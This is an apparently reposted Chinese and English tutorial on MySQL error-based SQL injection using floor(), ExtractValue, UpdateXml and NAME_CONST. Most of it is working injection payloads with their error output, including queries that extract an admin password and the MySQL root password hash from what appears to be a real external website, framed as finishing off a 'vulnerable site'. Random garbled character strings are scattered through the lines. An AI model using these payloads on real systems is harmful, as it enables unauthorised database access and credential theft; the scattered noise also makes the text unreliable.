mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
3 r+ f% Y1 D4 t# c0 _7 N+ b| id | title | content |
" Z+ \' `- o7 j! X+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
$ d( {" d4 n9 x/ g例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
. J9 O+ z; D; I# r- u2 P0 T6 ^ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
1 S3 W  v, Z/ s7 ]4 kERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

; b& o$ o2 a- y$ A
0 U" M0 Y: j+ c) T5 S4 ]

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
. t1 d# C/ L) h2 S* k9 o$ N5 Z; Q* M; T
3 G- o" @- Z* z, i- l3 X- q; [Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
2 t: \- b2 k1 Z1 H2 m
4 [+ y' C6 A1 a* f, Shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
& e" z# M( A& x0 B. c
MYSQL高版本报错注入技巧-利用NAME_CONST注入
) Q6 E7 B, P5 a% i- G6 E0 g+ [It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
5 K8 S, U, M# `! ~- q, l( f0 C

相关信息
; P7 @7 U2 _0 J" A2 s
! q3 s* M2 P4 ~1 L# ?) SNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

* w+ d, z* F# {+ \, m" b  ]Code:
9 ~/ K/ J; T1 c2 Q$ t& V* U) k) Q; fNAME_CONST(DATA, VALUE)
( `8 h6 m3 s7 s8 |7 J6 k* K4 w9 @  I/ X
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
7 Q8 b3 s; Q4 @$ i( W5 ]: U8 ~' R


$ x* r' d: e6 v0 Y7 u|---------------|
  V) w4 ~: n' |4 r) a% p/ L|     TEST      |
|               |
|---------------|
|       1       |
|               |
|---------------|
& O. P* N9 K5 s- e- |+ F/ r3 f; J


# \; Q+ P+ _! F: s# g
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
2 `  y2 f' T5 P5 T8 r, i2 [
3 P; b) z' t& {  ^" T8 OOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

4 Q& ^# J# q  G: V- l0 F% a! Q+ SCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


. U$ K* _  t# e5 z$ B/ B


Code:
' ~' [( ~8 Z# v! ~% qand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
& U. Z' s1 h  C, F9 [# K

VAR = Your MySQL variable.
  y) Y0 M/ U% F/ G# S0 `
3 ^+ h! ]8 J# o; e4 {; O  T/ pMySQL 5.1.3 Server System Variables
8 c/ e- [0 p9 z# k! j  M
1 T# J+ [6 H) P8 ]6 n3 f- {  yLet's try it out on my site..
) N5 A3 D1 N- g% m8 }  N; p& R
) o: t, v2 j& Z6 ?3 ^; F1 SCode:
1 }* c$ @3 V; n. D# ?http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
4 ^3 ^7 [& U' M( ]5 t* B. Z, ]9 v
, Z3 c" O4 k  G1 K/ dErroruplicate column name '5.0.27-community-nt'

" Y- A, g8 M% _/ C2 i" z


- h7 y. G9 e4 \' e9 ?
: E/ X4 X+ p' V+ GNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
% C; d5 e8 ~3 C% ~0 @$ [/ P
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

* K9 u7 z7 k$ y( L" M/ W3 d
We should get a duplicate column 1 error...

* S2 r" t* Q6 ~9 ]; \Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1

1 u7 l* K1 `0 [$ A1 m' \8 }, f  |

8 _+ T) H! h4 I6 A2 {. ]
& T8 }3 y3 G: `* n
8 Z# p( U; G' \+ `% z  h
0 O# V) u2 w/ h# d- @Now let's get the tables out this bitch..
4 t/ }0 ]+ a/ I1 O' L' t5 ~  z3 j( X
Code:
9 q, H$ O4 I/ d7 ]: l$ ~+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.
' D& ~; e% C" e. s7 Z7 g8 }
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 ]" Q" \6 w4 w  b$ g# \- C
- k9 r% Q/ u  P5 j( r' t! m% ^2 V
- g! `$ `" B. D: UErroruplicate column name 'com_admanage




+ A9 k+ @+ r) p

Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
+ z7 Z$ d$ w% f% l' O: Y( f. R) z
' u7 u% a7 [  S" HLet's get the columns out of the user table..
$ W# t, S4 a9 T, ~1 f  s7 t
! k$ A# w2 {& U5 _- l8 h+ G5 xCode:
+ b0 w% ]1 A  H: r- ]+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


6 m! V/ a, {& l( ?4 s9 OSo mine looks like this, and I get the duplicate column name 'Host'.
# M$ L4 z0 G4 N+ L/ K) D+ Y
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

1 @( |, }/ ?+ V) F" ~- kErroruplicate column name 'Host'

9 U' B& O+ }/ ^* a/ g) M  M3 r
8 k6 O+ g3 z# c9 _

$ _! k: b7 G  y  E* X0 u
3 ?% G) ?# A" V7 }9 f' w
* o) G! ^& h% U1 L& K) q! \6 NWoot, time to finish this bitch off.

Code:
" p0 \5 O8 I, ?& P% f+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


2 {4 T6 S7 Z8 CSo mine looks like this...
& {% ~; }; Y* a/ m) l, v
Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

& {# `; o/ z# d3 G

6 D  {% C: y! J# j/ N' i* E8 Y( E0 `- e. [
* q9 ~# `/ X7 S( \+ U6 X

: k% B7 a( e$ f# jAnd there we have it, thanks for reading.

2 a" w4 U2 H1 M# J8 G